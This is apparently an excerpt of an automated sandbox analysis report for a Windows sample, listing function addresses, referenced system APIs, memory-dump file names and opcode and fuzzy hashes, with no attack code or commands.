                Function 00BE1726 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BE2877: try_get_function.LIBVCRUNTIME ref: 00BE288C
                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BE1744
                • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00BE174F
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                • String ID:
                • API String ID: 806969131-0
                • Opcode ID: ed340a435a3f8984ce8dee752a353a252d1a65077261e094c23b76a4dd3a5b6d
                • Instruction ID: 0d60e666da187acb26086039f15fdbe8e643559166a264e90bb8387e809dc4d7
                • Opcode Fuzzy Hash: ed340a435a3f8984ce8dee752a353a252d1a65077261e094c23b76a4dd3a5b6d
                • Instruction Fuzzy Hash: A4D0C9B9B087C1185E04277F785296926D89962FB57B01FEAF031CA8D2EF348C06B515
                Function 00BC12B2 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemShowWindow
                • String ID:
                • API String ID: 3351165006-0
                • Opcode ID: 9f81d74ae47eb952174538896bb3afc781afe0a5690265e4b7a9d38e206962ce
                • Instruction ID: c81184c094d01a0d5a4e2da8621b7a9e57da502765b424be372d09e314311895
                • Opcode Fuzzy Hash: 9f81d74ae47eb952174538896bb3afc781afe0a5690265e4b7a9d38e206962ce
                • Instruction Fuzzy Hash: 19C01272068200BECB011BB0DC09D3EBBAAABA4212F04C90CB0A6C20A0CA38C010EB11
                Function 00BC19C1 Relevance: 1.8, APIs: 1, Instructions: 275COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: f19090168e51fd3a875d252c4917a3c66b627a59318f43ef8c2e67d8e2d5ef9f
                • Instruction ID: 1362d0facfee916446146dc53a7ac55489212756aeab80c1b740d296c9b86d1c
                • Opcode Fuzzy Hash: f19090168e51fd3a875d252c4917a3c66b627a59318f43ef8c2e67d8e2d5ef9f
                • Instruction Fuzzy Hash: 14B1C270A00546AEEB18CF7CC494FB9FBE5FF16304F144A9DE465A7282C7719960CB91
                Function 00BC825A Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC825F
                  • Part of subcall function 00BC136E: __EH_prolog.LIBCMT ref: 00BC1373
                  • Part of subcall function 00BC136E: new.LIBCMT ref: 00BC13EB
                  • Part of subcall function 00BC19C1: __EH_prolog.LIBCMT ref: 00BC19C6
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: c58a64f9b6e0afc1489c2229a3b5f71c1f2c8da3de0c142792e8c1bd972fabc2
                • Instruction ID: f6fe8e526602299c95e82af1948cf5476831527b6ed8f18a6ca916212eec7940
                • Opcode Fuzzy Hash: c58a64f9b6e0afc1489c2229a3b5f71c1f2c8da3de0c142792e8c1bd972fabc2
                • Instruction Fuzzy Hash: F541A1719006949ADB24EB60C855FEAB3F9AF50704F0404EEF58AA3093EB745EC8DB50
                Function 00BD2AF2 Relevance: 1.6, APIs: 1, Instructions: 90COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 18d99c5da4971b537ce8dbffc99a99ad3540850e2ab4797a76fe50eec4f7e994
                • Instruction ID: d8f017ed5912406616b03efaf6bd9f5461c1c182be9be5200c47caaf85aae879
                • Opcode Fuzzy Hash: 18d99c5da4971b537ce8dbffc99a99ad3540850e2ab4797a76fe50eec4f7e994
                • Instruction Fuzzy Hash: 2821B4B1E41255ABDB149F78CC41B6AF7E8EF14314F0405BBE509AB781E7B49D40C6A8
                Function 00BD9F62 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BD9F67
                  • Part of subcall function 00BC136E: __EH_prolog.LIBCMT ref: 00BC1373
                  • Part of subcall function 00BC136E: new.LIBCMT ref: 00BC13EB
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: bcac1cd87a567edb8db436485d9cebc0a38330701d8749a37eb381b21bfe23e9
                • Instruction ID: d268b0bc75b8bb04eb38761efec172bd4a4d599dbfb3864d99a86ca5cee43229
                • Opcode Fuzzy Hash: bcac1cd87a567edb8db436485d9cebc0a38330701d8749a37eb381b21bfe23e9
                • Instruction Fuzzy Hash: 0C215A71D04299AACF15DF98C9919EEF7F4AF19304F1004EEE809B7242E7356E05DB60
                Function 00BC91A3 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 7d73ee41f676c6fc4626dd0e19af7543d9aa5cd5ee12bafb88cc3d971ff33e05
                • Instruction ID: 802946a3fc14fd6f258304f3cca8fd89484c028f2559de9979b2adeddf77151b
                • Opcode Fuzzy Hash: 7d73ee41f676c6fc4626dd0e19af7543d9aa5cd5ee12bafb88cc3d971ff33e05
                • Instruction Fuzzy Hash: 4B118677E00529A7DF12AF98CC45EDDBBB5EF94700F044599F815B7251CA318D1086A0
                Function 00BCA7CC Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 6f5fec0c36bbc145cb67a0e62e1ecb79f5c2867a708c15a5e5143fdd4c660255
                • Instruction ID: b6ea27f88afcf0935009540b628ce4e875b7debfc962f39a9a68449be1fc2f58
                • Opcode Fuzzy Hash: 6f5fec0c36bbc145cb67a0e62e1ecb79f5c2867a708c15a5e5143fdd4c660255
                • Instruction Fuzzy Hash: C2F0AF3091070D9FDB30DA28CC41F1ABBE4EB15334F208AAEE495C3280EB70E9808792
                Function 00BC5B2D Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC5B32
                  • Part of subcall function 00BCADBF: __EH_prolog.LIBCMT ref: 00BCADC4
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 376e41b52e50e3f09ec4db5885543fa0e65a58e62c5b7b2b432421b11093e45c
                • Instruction ID: d8a56f76dd5a3a59fb4e7b7e3714bfd59ebf0c9521f56e4e6c6ce868d5540da8
                • Opcode Fuzzy Hash: 376e41b52e50e3f09ec4db5885543fa0e65a58e62c5b7b2b432421b11093e45c
                • Instruction Fuzzy Hash: 0801D170A01688DAC715EBA8E115BEDF7E49F15304F0040EDA44AA3282DBB82F04C7A3
                Function 00BE7B00 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • RtlAllocateHeap.NTDLL(00000000,?,?,?,00BE3006,?,0000015D,?,?,?,?,00BE44E2,000000FF,00000000,?,?), ref: 00BE7B32
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AllocateHeap
                • String ID:
                • API String ID: 1279760036-0
                • Opcode ID: fcbf348e0caf83c1269cc43a77ed925e3975c5cb36a375abd77dddf5853a58da
                • Instruction ID: b0a17d1370da239cfab0d8bd17a6aba381e3f83fcbd387d9f627fdd3cde22256
                • Opcode Fuzzy Hash: fcbf348e0caf83c1269cc43a77ed925e3975c5cb36a375abd77dddf5853a58da
                • Instruction Fuzzy Hash: 21E0ED312C92E667EA312A378C21B5B36CCDF613A1F2501E2AC19E2091EF60CC0082E0
                Function 00BCA255 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                Download Yara Rule
                APIs
                • FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BCA284
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CloseFind
                • String ID:
                • API String ID: 1863332320-0
                • Opcode ID: 8b00832328a63eb5c861b9d37bb0e63d5d809482522d7bd6b20bae15ec7fe73d
                • Instruction ID: 056cca8830b1076f32baa29b4d2167a68675c119efba4de322e9e288dbd803cd
                • Opcode Fuzzy Hash: 8b00832328a63eb5c861b9d37bb0e63d5d809482522d7bd6b20bae15ec7fe73d
                • Instruction Fuzzy Hash: 7DF0E931008390AACB2257B48804FDABBD06F46335F048A8DF4FE46192C6766085C732
                Function 00BC1E9F Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC1EA4
                  • Part of subcall function 00BC1906: __EH_prolog.LIBCMT ref: 00BC190B
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 0b9750e62933d8968434148a04f37ea8ec7549033506376399afeeb7973a9597
                • Instruction ID: 72b4d2c3f20778dab731be01f71710a50cf599b8003713422cd83f750e3c803a
                • Opcode Fuzzy Hash: 0b9750e62933d8968434148a04f37ea8ec7549033506376399afeeb7973a9597
                • Instruction Fuzzy Hash: 25F074B1D041498ECF41EFAC8545BEDBBF5AB19300F0449AED409E7642E7359605CB91
                Function 00BC1EA4 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC1EA4
                  • Part of subcall function 00BC1906: __EH_prolog.LIBCMT ref: 00BC190B
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 227b414101ecef702655c4b24e983e4544fb90e92d0f7a3ba207c890273304ee
                • Instruction ID: 664154357f186c754671dfb0d029e403e32a93b7d36117168e187cf6f10ff71f
                • Opcode Fuzzy Hash: 227b414101ecef702655c4b24e983e4544fb90e92d0f7a3ba207c890273304ee
                • Instruction Fuzzy Hash: 41F092B1D042898ECF41EFACC945BEEBBF5AB19300F0445AED409E7642EB355605CB91
                Function 00BD02FF Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                Download Yara Rule
                APIs
                • SetThreadExecutionState.KERNEL32(00000001), ref: 00BD0334
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ExecutionStateThread
                • String ID:
                • API String ID: 2211380416-0
                • Opcode ID: bec8e64145d9829d87f671e1e04deea84cb21edc762870fc434191a829c093ac
                • Instruction ID: 529ba5eba59dca8c4dd8442cff4ddb3e59bfd6584bb7a1e4eed910239528f13d
                • Opcode Fuzzy Hash: bec8e64145d9829d87f671e1e04deea84cb21edc762870fc434191a829c093ac
                • Instruction Fuzzy Hash: 19D0121172019116DA2173246845FFE66C68FC5324F1A00E7B10A773C2DA854887D2A2
                Function 00BD9642 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON
                Download Yara Rule
                APIs
                • GdipAlloc.GDIPLUS(00000010), ref: 00BD9648
                  • Part of subcall function 00BD9401: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00BD9422
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Gdip$AllocBitmapCreateFromStream
                • String ID:
                • API String ID: 1915507550-0
                • Opcode ID: f9ecb590552b2b580b1cf5339642e2c4e000770527f6ba0c64e2eb0109c3f4cc
                • Instruction ID: d8cf2f7878c26b7525c7e2cd891caf60039c46931bb9eada52ac7c15d265c732
                • Opcode Fuzzy Hash: f9ecb590552b2b580b1cf5339642e2c4e000770527f6ba0c64e2eb0109c3f4cc
                • Instruction Fuzzy Hash: 42D0A73060410D7ADF516B60CC02D7AFADDDB01700F0080F7BC0885351F972CD11A751
                Function 00BC97E9 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                Download Yara Rule
                APIs
                • GetFileType.KERNELBASE(000000FF,00BC971B), ref: 00BC97F5
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FileType
                • String ID:
                • API String ID: 3081899298-0
                • Opcode ID: 895b478d5d7da40145f51c425843c1b7fb62aa0a6d57b4149cae45e80244a34c
                • Instruction ID: 21ca82daa44e5f44c944de68f4c056f60ae985625f089c32cab21ab6de0e5084
                • Opcode Fuzzy Hash: 895b478d5d7da40145f51c425843c1b7fb62aa0a6d57b4149cae45e80244a34c
                • Instruction Fuzzy Hash: 65D01231022140A5AF314A384D4D9A56A91DB433A6B78D6E8D065C60A1CF23CC43F500
                Function 00BDCA54 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                Download Yara Rule
                APIs
                • SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00BDCA79
                  • Part of subcall function 00BDA3FB: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BDA40C
                  • Part of subcall function 00BDA3FB: KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 00BDA41D
                  • Part of subcall function 00BDA3FB: TranslateMessage.USER32(?), ref: 00BDA427
                  • Part of subcall function 00BDA3FB: DispatchMessageW.USER32(?), ref: 00BDA431
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Message$CallbackDispatchDispatcherItemPeekSendTranslateUser
                • String ID:
                • API String ID: 2588387001-0
                • Opcode ID: 24f44ecd485a3d296288bbcfaa3ce28fec5ccab34f41738012171e0ae3097590
                • Instruction ID: b8683ff7e6bfc187118e7e0a0a64d6b6234b4788d934af373bfde7640171c66c
                • Opcode Fuzzy Hash: 24f44ecd485a3d296288bbcfaa3ce28fec5ccab34f41738012171e0ae3097590
                • Instruction Fuzzy Hash: 97D09E71158200AADA022B51CE06F5A7AE3AB98B05F004695B345740B18662AD31DB06
                Function 00BDD82F Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD841
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
